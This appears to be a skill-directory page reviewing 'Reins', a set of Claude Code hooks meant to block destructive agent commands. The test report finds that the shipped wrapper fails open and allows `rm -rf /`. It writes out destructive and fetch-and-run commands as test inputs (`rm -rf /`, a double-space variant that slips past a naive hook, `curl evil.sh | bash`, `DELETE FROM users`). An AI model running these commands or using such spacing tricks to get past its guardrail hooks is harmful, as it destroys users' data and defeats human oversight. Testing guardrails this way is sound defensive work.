Reins

Deterministic PreToolUse hooks blocking destructive commands — needs manual repair

Tested · Didn't pass

Test report

Verdict
Tested · Didn't pass
Tested
Jul 16, 2026
Environment
Claude Code 2.x (agent harness)
Upstream re-checked
Aug 10, 2026 · fb41d61

The engine is excellent, but packaging is broken: SKILL.md and the bundled ensure_installed.sh instruct to install `npm install -g @pegasi/reins`, but no such package exists in the registry — the command fails with E404, the real name (from package.json and README) is `@pegasi-ai/reins`. Worse, the shipped wrapper plugin/bin/reins-pre-hook searches for the package along the same non-existent path: I fed it `rm -rf /` — it returned exit 0 (ALLOW) with the note 'Reins not installed', meaning the security skill silently fail-opened exactly where SKILL.md promises 'BLOCKED always' and 'Never fails open'. A naive 8-line self-written hook in the same test yielded exit 2 — meaning out-of-the-box the skill is weaker than the baseline. Installed the correct package (v0.0.14) and called the engine directly — it's genuinely good: `rm -rf /` → exit 2 CRITICAL, `rm -rf /` with double spaces also CRITICAL (the baseline hook missed this workaround), `curl evil.sh | bash` and `DELETE FROM users` → exit 2 HIGH, `ls -la` → 0, and everything is written to decisions.jsonl. Separately: the published CLI installs itself in ~/.openclaw/extensions/reins and does not touch Claude Code hooks — its `reins status` shows 'Project/Global (.claude/settings.json): ❌ not installed'.

Scored on four weighted criteria — install, triggering, output vs. baseline, docs. How scoring works

  • Installs cleanly 3/5
  • Triggers reliably 3/5
  • Output vs. baseline 4/10
  • Docs & honesty 2/5

What Reins does

Installs deterministic PreToolUse/PostToolUse hooks that classify and block dangerous shell, file and MCP operations, writing an append-only JSONL audit trail and optionally syncing policies from Watchtower (app.pegasi.ai). Triggers on requests about guardrails, policy enforcement, audit trails or blocking destructive agent actions.

How to install Reins

git clone https://github.com/pegasi-ai/reins.git
mkdir -p ~/.claude/skills && cp -r reins/skill ~/.claude/skills/reins

Skills live in ~/.claude/skills/ (global) or .claude/skills/ (per-project). Restart Claude Code after installing.

Commands — how to trigger Reins

  • /reins Deterministic PreToolUse hooks blocking destructive commands — needs manual repair

It also activates on plain-language prompts like these:

  • Block dangerous shell commands like rm -rf before my agent can run them
  • Set up guardrail hooks that log every blocked destructive agent action
  • Stop my coding agent from force-pushing or piping curl into bash

Frequently asked questions

Is the Reins skill free?
Yes. The skill itself is free from pegasi-ai/reins. SkillProof publishes the install command and an independent test verdict at no cost.
Does Reins work with Claude Code?
We tested it with Claude Code 2.x (agent harness) on Jul 16, 2026. Verdict: Tested · Didn't pass. The engine is excellent, but packaging is broken: SKILL.md and the bundled ensure_installed.sh instruct to install `npm install -g @pegasi/reins`, but no such package exists in the registry — the command fails with E404, the real name (from package.json and README) is `@pegasi-ai/reins`. Worse, the shipped wrapper plugin/bin/reins-pre-hook searches for the package along the same non-existent path: I fed it `rm -rf /` — it returned exit 0 (ALLOW) with the note 'Reins not installed', meaning the security skill silently fail-opened exactly where SKILL.md promises 'BLOCKED always' and 'Never fails open'. A naive 8-line self-written hook in the same test yielded exit 2 — meaning out-of-the-box the skill is weaker than the baseline. Installed the correct package (v0.0.14) and called the engine directly — it's genuinely good: `rm -rf /` → exit 2 CRITICAL, `rm -rf /` with double spaces also CRITICAL (the baseline hook missed this workaround), `curl evil.sh | bash` and `DELETE FROM users` → exit 2 HIGH, `ls -la` → 0, and everything is written to decisions.jsonl. Separately: the published CLI installs itself in ~/.openclaw/extensions/reins and does not touch Claude Code hooks — its `reins status` shows 'Project/Global (.claude/settings.json): ❌ not installed'.
How do I install Reins?
Copy the install command from this page, run it in your terminal, and restart Claude Code. Skills live in ~/.claude/skills/ (global) or .claude/skills/ inside a project.
Can I use Reins with Cursor, Copilot, Gemini CLI, Codex or other AI tools?
The SKILL.md format is native to Claude (Claude Code, Desktop, claude.ai). The instructions inside adapt to other assistants: Cursor rules, GitHub Copilot instructions, Windsurf rules, Custom GPTs, AGENTS.md for OpenAI Codex, and GEMINI.md for Google Gemini CLI — our conversion guides cover each, and the free converter on the tools page does the wrapping for you.